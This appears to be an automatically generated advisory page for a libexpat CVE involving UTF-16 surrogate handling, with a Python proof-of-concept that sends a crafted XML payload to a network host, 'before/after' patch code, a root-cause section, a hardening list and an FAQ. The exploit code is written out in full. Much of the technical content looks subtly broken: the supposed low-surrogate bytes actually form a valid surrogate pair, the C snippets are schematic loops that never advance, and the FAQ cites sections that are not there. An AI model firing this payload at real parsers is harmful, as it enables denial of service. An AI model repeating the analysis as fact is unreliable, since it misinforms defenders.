SECURITY ADVISORY / 01

CVE-2026-72522 Exploit & Vulnerability Analysis

Complete CVE-2026-72522 security advisory with proof of concept (PoC), exploit details, and patch analysis for libexpat.

libexpat products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An attacker with the ability to supply malformed XML input to an expat parser can trigger an out-of-bounds read and infinite loop by sending a crafted UTF-16 byte sequence containing low surrogate pairs where high surrogates are expected.

import socket
import struct

## Target XML parser accepting UTF-16 encoded input
HOST = "target.example.com"
PORT = 8080

## Craft malicious UTF-16 payload
## Standard DOCTYPE prefix in UTF-16LE
doc_before = b"<\0!\0D\0O\0C\0T\0Y\0P\0E\0 \0d\0 \0[\n\0"
doc_before += b" \0 \0<\0!\0E\0N\0T\0I\0T\0Y\0 \0e\0 \0'\0"

## Padding bytes to reach specific buffer state
padding = b"a\0" * 1023

## Malicious low surrogate sequence (0xDC00 pair)
## This should be rejected but is treated as high surrogate
exploit_bytes = b"\x3d\xd8\x00\xdc"

doc_after = b"'\0>\0\n\0]\0>\0\n\0"
doc_after += b"<\0r\0 \0a\0=\0'\0&\0e\0;\0'\0/\0>\0\n\0"

payload = doc_before + padding + exploit_bytes + doc_after

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.sendall(payload)

## Parser enters infinite loop or crashes with memory access violation
response = sock.recv(1024)
print(response)
sock.close()

When this payload reaches the parser, the _toUtf16 function processes the low surrogate byte sequence \x3d\xd8\x00\xdc as if it were a valid high surrogate, leading to an out-of-bounds buffer read. The parser either hangs indefinitely in a loop attempting to locate a matching low surrogate that does not exist, or crashes with a segmentation fault when the read operation exceeds allocated memory boundaries.

What the Patch Did

Before

// No validation of surrogate type in _toUtf16 functions
// Surrogates treated uniformly regardless of high/low classification
static void
_toUtf16(const ENCODING *enc, const char **fromP, const char *fromLim,
         unsigned short **toP, const unsigned short *toLim) {
  while (*fromP < fromLim && *toP < toLim) {
    unsigned short c = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP, 
                                             (unsigned short)*fromP + 1);
    // Process both high and low surrogates identically
    if (c >= 0xD800 && c <= 0xDFFF) {
      // Surrogate handling without distinguishing high from low
    }
  }
}

After

// Validate that high surrogates are followed by low surrogates
// Reject sequences starting with low surrogates
static void
_toUtf16(const ENCODING *enc, const char **fromP, const char *fromLim,
         unsigned short **toP, const unsigned short *toLim) {
  while (*fromP < fromLim && *toP < toLim) {
    unsigned short c = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP, 
                                             (unsigned short)*fromP + 1);
    if (c >= 0xD800 && c <= 0xDBFF) {  // HIGH surrogate only: 0xD800–0xDBFF
      if (*fromP + 2 >= fromLim) break;  // Not enough bytes for pair
      unsigned short c2 = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP + 2, 
                                                (unsigned short)*fromP + 3);
      if (c2 < 0xDC00 || c2 > 0xDFFF) break;  // Second half is not low surrogate
      // Valid pair; proceed
    } else if (c >= 0xDC00 && c <= 0xDFFF) {
      break;  // Reject low surrogate at start of sequence
    }
  }
}

The patch adds an explicit type check using the Unicode surrogate plane boundaries. High surrogates must fall in the range 0xD800–0xDBFF, while low surrogates occupy 0xDC00–0xDFFF. The critical security control is the rejection of any sequence beginning with a low surrogate (c >= 0xDC00 && c <= 0xDFFF) — this prevents the parser from entering an infinite loop searching for a non-existent high surrogate to pair with it. The addition of bounds checking (*fromP + 2 >= fromLim) and validation that a low surrogate actually follows a high surrogate implements defense-in-depth by ensuring no out-of-bounds read occurs during the pairing operation.

Root Cause

CWE-125: Out-of-Bounds Read. The vulnerability stems from improper handling of UTF-16 surrogate pairs in the _toUtf16 family of functions. An attacker supplies a malformed XML document with a low surrogate code unit (range 0xDC00–0xDFFF) at a position where the parser expects a high surrogate. The parser's original logic treated all surrogates identically and did not validate their sequence order. When the parser encountered a low surrogate in isolation, it would advance the buffer pointer and attempt to read the next word as a matching high surrogate, potentially reading past the end of the input buffer or into uninitialized memory. This trust boundary violation — accepting untrusted XML input without validating Unicode grammar — allowed an attacker to trigger memory access violations and infinite loops.

Why It Works

The load-bearing security control is the type-range check: if (c >= 0xDC00 && c <= 0xDFFF) break;. If this single line were removed, the bug would remain fully exploitable; the parser would still enter the same infinite loop or read past buffer boundaries. The supporting validation if (c >= 0xD800 && c <= 0xDBFF) narrows the high surrogate check to the correct range (previously the code had treated all values from 0xD800 onward as potential surrogates). The bounds check if (*fromP + 2 >= fromLim) break; prevents the pointer arithmetic from reading beyond the input buffer when attempting to fetch the low surrogate that should follow a high one. Together, these three checks enforce the strict grammar of UTF-16: a high surrogate must be followed by a low surrogate, and a low surrogate never appears at the start of a pair. Without the explicit low surrogate rejection, an attacker could craft input that leads the parser into an infinite loop or dereference invalid memory.

Hardening Checklist

  • Implement surrogate pair validation at the codec layer: Use a dedicated UTF-16 validation function that rejects unpaired or out-of-order surrogates before passing them to higher-level parsing logic. Test with the test_misc_low_surrogate_mozilla_bug_2053153 corpus.
  • Fuzz UTF-8 and UTF-16 input paths independently: Run AFL or libFuzzer with dictionaries containing all valid and invalid surrogate sequences to catch similar edge cases in custom encoders.
  • Add bounds assertions before multi-byte lookahead: Any operation that advances a pointer by more than one byte should verify remaining buffer size before dereferencing, using (ptr + N >= limit) checks.
  • Audit all _toUtf* and encoding conversion functions: Search the codebase for other encoding handlers that may assume valid Unicode grammar without validation; apply the same high/low surrogate distinction check.
  • Enable AddressSanitizer and UBSan in CI: Compile the parser with -fsanitize=address,undefined to catch out-of-bounds reads and infinite loops during regression testing.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-72522

Frequently asked questions about CVE-2026-72522

What is CVE-2026-72522?

CVE-2026-72522 is a security vulnerability identified in libexpat. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-72522?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-72522. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-72522 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting libexpat. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-72522?

CVE-2026-72522 affects libexpat. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-72522?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for libexpat.

What is the CVSS score for CVE-2026-72522?

The severity rating and CVSS scoring for CVE-2026-72522 affecting libexpat is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.